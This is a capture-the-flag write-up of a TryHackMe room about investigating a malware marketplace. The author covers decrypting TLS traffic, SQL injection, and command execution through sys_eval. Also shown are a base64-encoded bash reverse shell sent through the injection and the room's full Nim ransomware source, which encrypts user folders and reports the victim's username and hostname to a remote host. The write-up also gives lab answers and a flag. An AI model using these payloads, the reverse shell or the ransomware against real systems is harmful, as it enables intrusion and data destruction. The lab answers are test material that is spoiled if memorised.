The TryHack3M: Sch3Ma D3Mon room hosted by TryHackMe challenges to investigate a malware marketplace. More details can be found here: https://tryhackme.com/r/room/sch3mad3mon
I used a Kali Linux VM in VirtualBox and connected to the TryHackMe machine via OpenVPN.
After weeks of meticulous observation and planning, we pinpointed the public computer that the suspect uses to access their website. The computer is located in a quiet corner of the local library. Although the computer has a warning sign that all computer activity is monitored, the suspect doesn’t seem to care. They only check for installed key loggers before establishing a VPN connection and logging in to their criminal marketplace. This time, we were ready:
We have set the browser to log the session’s TLS keys; this logging was achieved by adding an extra option to the browser shortcut. Executing chromium --ssl-key-log-file=~/ssl-key.log dumps the TLS keys to the ssl-key.log file.
We were capturing all traffic on that computer.
By the time they finished, we had a log of used TLS keys and an encrypted packet capture. You can access these files by clicking the Download Task Files button or navigating to /root/Rooms/TryHack3M/sch3MaD3Mon on the AttackBox. Using the TLS key log file, Wireshark should be able to decrypt all exchanged traffic.
First, I downloaded and unpacked the Task Files as suggested. In there were two files: mayh3Mmarket.pcapng and ssl-key.log.
Unpacking the Task Files.
What is the suspect’s username?
To find the user’s username, I had to read the data they sent to the server. To be able to read the data, I had to import the ssl-key.
The pcap file without the ssl-key.Importing the ssl-key.Viewing the pcap with the ssl-key.
To get the username of the user, I searched for instances where they sent data via POST request using the filter http.request.method == "POST". Fortunately, the user did make such a request to /login.php.
Viewing POST requests made by the user.
I followed that HTTP stream to see the content of the POST request.
Line 23 includes the uid and password: uid=lannister&password=hrpTfL42wMv3
Answer: lannister
What is the suspect’s password?
This is answered above.
Answer: hrpTfL42wMv3
Connected Tables
Click on the Start Machine button to start the marketplace lab. Give it a few minutes to boot before accessing it via http://10.10.226.39:8000. The credentials you found in the previous task should give you access.
So far, we have obtained the login credentials and successfully logged in to the marketplace. It is time to check for any vulnerabilities, granting us more access. We will focus on SQL injection (SQLi) vulnerabilities. This task briefly covers relational databases, tables, query language, and SQL injection vulnerabilities. This knowledge will be handy for the second stage of our attack, i.e., Task 3. If you are familiar with SQL and SQLi, you can skip this task.
RDBMS
After obtaining the login credentials, it is time to access the marketplace and check for any vulnerabilities that would grant us more access. We will focus on SQL injection vulnerabilities; if you are familiar with SQL and SQLi, you can skip this task.
SQL, which stands for Structured Query Language, was designed to manipulate and retrieve data from a relational database management system (RDBMS). What is a relational database? Think of it as a set of tables with relations connecting them. Consider the following relational database for an online shop with three tables:
Table of products: We expect to find the name and price of every product, among other details.
Table of customers: This table is expected to hold each customer’s username, password, name, and address.
Table of invoices: This table is special. It relies on information from the other two tables. For instance, a customer ID, a product ID, and a date would be enough to tell us what the customer bought and when they bought it. Note that we didn’t need to repeat the customer or product information.
Let’s say that we created the table users with the following attributes: id, username, password, name, and address. The SQL statement below creates a table named users with columns for id (auto-incrementing integer primary key), username, password, name, and address.
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(200) NOT NULL,
`password` varchar(33) NOT NULL,
`name` varchar(30) NOT NULL,
`address` varchar(200) NOT NULL,
PRIMARY KEY (`id`)
);
The id column is set as the primary key, and all columns are defined as NOT NULL, meaning they cannot have empty values. Except for the id, the data type of each column is declared as a variable-length character string with a set maximum length.
Next, we want to add new customers, search existing ones, update information, and occasionally delete dormant accounts. Let’s see how this is achieved via SQL.
CRUD
CRUD is an acronym for the four basic operations that can be performed on data in a database. The four operations are Create, Read, Update, and Delete.
Create
This operation involves inserting new data into the database. In SQL, the INSERT statement creates new records or rows in a table. Here’s an example:
This statement inserts a new row into the users table with the values ‘jdoe’, ‘mypasswordTH3M’, ‘John Doe’, and ‘TryHack3M Street’ for the columns username, password, name, and address, respectively. The id column will be automatically incremented due to the AUTO_INCREMENT property.
Read
This operation involves retrieving or reading existing data from the database. In SQL, the SELECT statement reads or queries data from one or more tables.
SELECT * FROM users WHERE username = 'jdoe';
This statement retrieves all columns and rows where the username column has the value ‘jdoe’.
SELECT name, address FROM users;
This statement retrieves only the name and address columns from all rows in the users table.
Update
This operation involves modifying or updating existing data in the database. In SQL, the UPDATE statement is used to change or modify the values of one or more columns in a table.
UPDATE users
SET password = 'newpassword3M'
WHERE username = 'jdoe';
This statement updates the password column with the value ‘newpassword3M’ for the row where the username column has the value ‘jdoe’.
UPDATE users
SET address = 'TryHack3M Street, Phone 3-000-000'
WHERE id = 1;
This statement updates the address column with the value ‘TryHack3M Street, Phone 3-000-000’ for the row where the id column has the value 1.
Delete
This operation involves removing or deleting existing data from the database. In SQL, the DELETE statement removes one or more rows from a table.
DELETE FROM users
WHERE username = 'jdoe';
This statement removes the row(s) from the users table where the username column has the value ‘jdoe’.
DELETE FROM users
WHERE id = 5;
This statement removes the row from the users table where the id column has the value 5.
SQL Injection
SQL injection is a technique used by attackers to exploit vulnerabilities in web applications that interact with databases. It occurs when untrusted user input is improperly handled and concatenated into SQL statements, allowing malicious SQL commands to be executed on the database. Consequently, the attacker might gain access to sensitive data, modify or delete data, or even execute commands on the underlying database server. Let’s dive into a practical example.
Consider the following vulnerable PHP code snippet being used for authentication. Authentication fails if the query finds no record with this username and password combination. (Yes, this is insecure, although it works!)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
Comments-Based SQL Injection
Knowing that -- is used for commenting in SQL, an attacker can inject admin'-- in the user name. Consequently, the query ends at admin, and everything after -- is ignored. This is shown in the code below.
SELECT * FROM users WHERE username = 'admin'--' AND password = '$password';
Tautology-Based SQL Injection
Injecting a tautology (always true condition) like ' OR '1'='1 in an input field can bypass authentication mechanisms or retrieve data. For instance, the attacker might inject ' OR '1'='1 in the input field. The resulting SQL query becomes like one of the following queries.
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'pass';
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
There is no guarantee that such queries would return proper results. Alternatively, the attacker might combine a tautology with a comment and insert ' OR '1'='1' -- in the username field.
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'password';
Since the '1'='1' will always be evaluated as true, this query might return the whole users table.
Retrieving Data from Other Tables
Another attack might aim to retrieve data from other tables. For example, if we use the payload ' UNION SELECT * FROM products --, we might dump the products table.
SELECT * FROM users WHERE username = 'jdoe' UNION SELECT * FROM products --' AND password = 'pass';
The above example SQL payloads provide a basic idea of how and why SQL injection works. It is time to build on this knowledge and tackle the challenge in the next task.
I’m not sure why this room gives an overview of manual SQL injection. Anyways, knowing the URL and the credentials to the marketplace, I could open it.
First impression of the marketplace.
And after logging in, I could view the products.
After logging in and clicking on “Show All”.
Now, to answer the questions of this section in preparation for SQL injection:
What does RDBMS stand for?
Answer: Relational Database Management System
What does CRUD stand for?
Answer: Create Read Update Delete
What does SQL stand for?
Answer: Structured Query Language
Unlisted
Now that you have access to the product page, you’ve taken some time to investigate any possible vulnerabilities in the application. You go through your toolkit until you begin to test if the application is vulnerable to SQL injection. You do this by searching for '; when you do this search, you see the following error:
This error implies that the database interpreted your string, making the application vulnerable to an SQL injection attack. But what can you do with this vulnerability?
Given this is a search query bar, you begin to think it’s likely that this search function runs some kind of a SELECT query. Considering this, It springs to mind that you can use a UNION SELECT query to join the SELECT query triggered by the search to a query of your own creation. You remember that your UNION SELECT query must include the same number of columns. To test how many columns are included in the initial SELECT command, run a few queries until one executes successfully and populates the product page. Running the query ' union select 1,2,3,4,5 -- // returned the following:
There are two important notes to consider as you tweak your exploit code. Firstly, table names are often in lowercase format and separated by underscores. Secondly, UNION requires the same number of columns in the two SELECT statements to be combined. Although this constraint is always valid, this does not need to be a named column. You can use null. For example, if you wish to join a table with only two columns to another table with five columns, you can use 'union select null, null, null, column1, column2 from table_name -- //
Can you use this knowledge to attain the next step?
To be honest, I just used sqlmap. For this, I made a manual test request for a product while I had the Network tab in my Firefox browser open. Then I copied the Request Headers as well as the Post Data and saved them both to a file called req.txt.
There, the hidden path called os_sqli.php was revealed.
First impression of os_sqli.php.
Answer: os_sqli.php
From DB to OS
It is possible to execute shell commands within SQL queries. (In this particular case of MySQL, lib_mysqludf_sys.so provides this functionality, and it is loaded and enabled.) As we can embed shell commands within innocuous SQL queries, consider the following examples:
As a result, we can do some experiments on the PHP page we have discovered. You might try to come up with a helpful combination. For instance, one might attempt http://10.10.226.39:8000/unlisted?user=lannister' union SELECT null, sys_eval('whoami') -- // and check what they might get. Note that this URL won’t work as is. Consider replacing unlisted with the hidden path you uncovered in Task 3; furthermore, the columns count doesn’t match, so you have some calibration to do.
The instructions are clear: I just had to craft a manual SQLi payload to run shell commands. With some hints from previous sections, the payload was easy to craft:
http://10.10.226.39:8000/os_sqli.php?user=lannister' union SELECT null, null, null, null, sys_eval('whoami') -- //
Running shell code.
What is the output of pwd when run via an SQL injection attack?
http://10.10.226.39:8000/os_sqli.php?user=lannister' union SELECT null, null, null, null, sys_eval('pwd') -- //
Executing “pwd” on the server to reveal the answer.
Answer: /var/lib/mysql
Finding a Needle in a Malwarestack
Now that you’ve breached the OS, it’s time to take a look around! After some snooping, you see a directory full of receipts in the /home directory. This could contain critical information which you can use to thwart this group’s efforts. Oh dear! It appears these receipts are all encrypted or password-protected. You can recall this group using buyers’ Bitcoin addresses in the past to encrypt secrets. They may have done the same thing here, but where can you find this information?
You recall that you can query information regarding a database and its schema instead of querying a table, querying (for example) information_schema.columns where table_schema=database(). From here, you can grab information like table_name and column_name. Going back to searchproducts.php, can you use this knowledge to gather Bitcoin sender address information to unlock these receipts for investigation?
Once you have found the necessary information, try decrypting the receipt file with it. From the file extension, the receipts have been encrypted with the gpg command. With this in mind, you can decrypt the receipt with the following command:
gpg --decrypt <file-name>
This command will prompt you to enter a key; use the information found earlier to decrypt the receipt. But which one?
What is the malware’s location?
To find the malware’s location, I had to open the receipt. And to open the receipt, I had to find it, find its passphrase, and actually open it.
Finding the receipt was easy by doing some navigation using the previous method.
Listing all files and directories in the home directory.
As the instructions suggested, the receipts were in the /home directory.
Listing all receipts.
There were quite a few of them. As the instructions said, the passphrases for the receipts are the sender’s BTC addresses, so I dumped those with sqlmap.
Dumping the transactions table.
To print just the transaction_number and bcoin_sender_address, I used:
I could not just download the .gpg files and open them through the browser. Nor could I just cat them:
Using the cat command to get some part of a .gpg file.Using the tail command to get some part of a .gpg file.
Well, maybe it was possible, but I didn’t want to spend too much time there and just used a reverse shell instead.
Finding my own IP address in the VPN.
I used https://www.revshells.com to build a simple Reverse Shell and encoded it as base64 to be able to send it via a HTTP request in the browser.
Generating the Reverse Shell.
Basically, I wanted to run this on the server: echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjkyLjIvNDQ0NCAwPiYx | base64 -d | /bin/bash, meaning the base64 encoded string should be decoded and used as a bash command. The complete URL looked like this:
Getting a connection, finding the .gpg receipts and trying to open them.
I couldn’t open the .gpg files with the reverse shell because the prompt for the passphrase didn’t appear. So I printed the contents, copied them to my Kali machine and decrypted them there.
Decrypting the .gpg file using the Bitcoin address as passphrase.
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
--- Mayh3M Marketplace ---
Invoice: 3000000
Date: 04/02/2024 06:28:48
Transaction Details: Purchase made through our online store front!
Transaction Number: 3000000
Sender Address: eqFN5vBg4n2t4xGsJF7BYNWMtTaVA1muES
Recipient Address: tWuNGTaSBNJq7mvxF5AetFg4B2VE41MnYs
Transaction Time: 04/02/2024 06:28:48
Product: /home/products/malware/4sale/pal4t1n3/MisterMeist3r/2DC6C0
Total Amount: 865345
Thank you for supporting a local business. For any inquiries, please contact our support team at support@mayh3Mmarketplace.com.
So the product, i.e. the malware, lied in /home/products/malware/4sale/pal4t1n3/MisterMeist3r/2DC6C0
Now that we know which malware is the most widely purchased in this store, we can execute our plan to disrupt its damaging effects by modifying the code, effectively “defanging” it.
This ensures that the malware runs without causing actual damage, thus maintaining the illusion of regular operation for the purchasers of this malware. The longer they believe that the malware they purchased works normally, the less chance our modifications will be discovered.
Explore the directory of our target malware. Something there could hint at how to disable its damaging effects.
So I investigated the location of the malware by first listing all files and directories there and printing the readme.txt I found.
Investigating the malware location.
What programming language was used to develop the malware?
Out of the four files (build.sh, config.ini, mmmbar.nim, readme.txt), the only one containing malware was the mmmbar.nim.
Answer: nim
Reading the source code, what file type is added to the end of encrypted files?
I printed the source code. It can be seen below:
import os
import strformat
import httpclient
import nimcrypto
import base64
import json
import winim
# Added function to check for the debug mode in the config file
func isDebugEnabled(): bool =
let configFile = getCurrentDir() & DirSep & "config.json" # Assuming JSON format for simplicity
if fileExists(configFile):
let configContent = readFile(configFile)
let configJson = parseJson(configContent)
if "debug" in configJson:
return configJson["debug"].getBool()
return false
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
proc change_wp(isDebug: bool): void =
if not isDebug:
var client = newHttpClient()
var user = getEnv("USERNAME")
var hostname = getEnv("COMPUTERNAME")
var report_url = fmt"http://172.16.251.121/aaaaa_ransom.jpg?user={user}&hostname={hostname}"
var req = client.getContent(report_url)
var dump = getTempDir() & "paymeboogey.jpg"
writeFile(dump, req)
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, cast[PVOID](dump.cstring), SPIF_UPDATEINIFILE or SPIF_SENDCHANGE)
proc recursive(path: string, isDebug: bool): void =
for file in walkDirRec path:
let fileSplit = splitFile(file)
let password: string = "myKey"
if fileSplit.ext != ".boogey" and fileSplit.ext != ".ini":
echo fmt"[*] Encrypting: {file}"
var
inFileContents: string = readFile(file)
plaintext: seq[byte] = toByteSeq(inFileContents)
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
encrypted: seq[byte] = newSeq[byte](len(plaintext))
iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 34, 12]
var expandedKey = sha256.digest(password)
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
ectx.init(key, iv)
ectx.encrypt(plaintext, encrypted)
ectx.clear()
if not isDebug:
let encodedCrypted = encode(encrypted)
let finalFile = file & ".boogey"
moveFile(file, finalFile)
writeFile(finalFile, encodedCrypted)
let debugEnabled = isDebugEnabled()
change_wp(debugEnabled)
var path = getHomeDir() & "Documents"
recursive(path, debugEnabled)
path = getHomeDir() & "Downloads"
recursive(path, debugEnabled)
path = getHomeDir() & "Desktop"
recursive(path, debugEnabled)
Line 59 contains the file ending.
Answer: .boogey
What is the flag that appears after compiling the defanged malware?
Just building the malware using build.sh was not sufficient. It had to be defanged first. The readme.txt gave instructions for doing so, as seen above. All that had to be done was to change the debug value in config.ini to true, so I did exactly that.
Setting debug to true in config.ini to defang the malware.
Then I could successfully build the malware and reveal the flag.
Running build.sh to reveal the flag.
Answer: THM{3FDbU2nNy2FW7yMvMoH6WTMMM}
That concludes this CTF. I liked the story and having malware as a theme. I didn’t really need all that many instructions, but it was nice having them regardless. Made it a bit easier.
